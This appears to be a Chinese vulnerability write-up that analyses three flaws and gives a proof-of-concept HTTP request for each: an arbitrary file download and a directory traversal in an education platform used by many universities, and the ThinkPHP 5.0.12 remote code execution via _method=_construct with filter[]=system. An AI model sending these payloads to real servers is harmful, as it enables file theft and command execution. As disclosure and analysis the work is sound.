CNVD-2023-3**48

某平台任意文件下载,攻击者可利用该漏洞下载系统敏感信息,影响范围涉及全国大部分高校,现已修复。

漏洞分析

漏洞位于文件 WEB-INF/classes/com/fh/controller/theorytest/teacher/Exammanage.class

down 方法,路由是 /teacher/resourcemanager/exam/exammanage/down.do

获取 path 参数,拼接成 realPath ,然后用输出流写出文件。

漏洞复现

POC

1
2
3
4
5
6
7
GET /teacher/resourcemanager/exam/exammanage/down.do?path=xxxx(文件路径) HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

CNVD-2023-3**63

某平台系统存在任意目录遍历漏洞,攻击者可利用该漏洞读取系统敏感信息,影响范围涉及全国大部分高校,现已修复。

漏洞分析

漏洞位于文件 WEB-INF/classes/com/fh/controller/common/Uploader.class

路由是 /common/getDrive.do

前面两个 if判断都是在 typelibrary 的时候进入,我们这里传入的是 type=drives ,直接进入到第三个 if语句;

调用 File.listFiles ,直接列出对应文件下的文件,然后放入到 map 中返回。

漏洞复现

POC

1
2
3
4
5
6
7
8
9
10
POST /common/getDrive.do HTTP/1.1
Host:
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 36

path=C%3A%5C(可继续加路由)&type=drives&extensions=

ThinkPHP V5.0.12 RCE

有很多网站采用的是ThinkPHP V5.0.12框架,其核心类Requests对变量属性校验不严,可以通过变量覆盖属性并结合框架特性对任意函数调用,实现任意代码执行。

漏洞分析

代码流程

首先在开启debug的时候会直接在下面的箭头处触发RCE,这里先关掉debug。

跟进routeCheck()

这里会调用Route类的check方法:

继续跟进check方法

这里会调用Request类的method方法:

跟进method方法

POST可以接收_method参数。根据接收到的参数值调用方法的核心漏洞点就在此:由于没有对参数进行严格限制,可以调用_construct,初始化filter变量。

继续跟进_construct方法

但此处只是设置了filter值,还需要进一步调用。

最终导致RCE的位置在filterValue中:

此方法被input()调用,input()又被多个方法进一步调用:

若开启debug,1处可以直接触发RCE:

未开启debug时,需要进一步跟进exec()。

此方法中调用了module方法:

module方法中会加载控制器:

controller会反射一个类:

invokeClass()调用bindParams方法:

最终调用param()触发RCE:

调用堆栈

漏洞复现

POC

1
2
POST /?s=index/index
s=whoami&_method=_construct&method=POST&filter[]=system

利用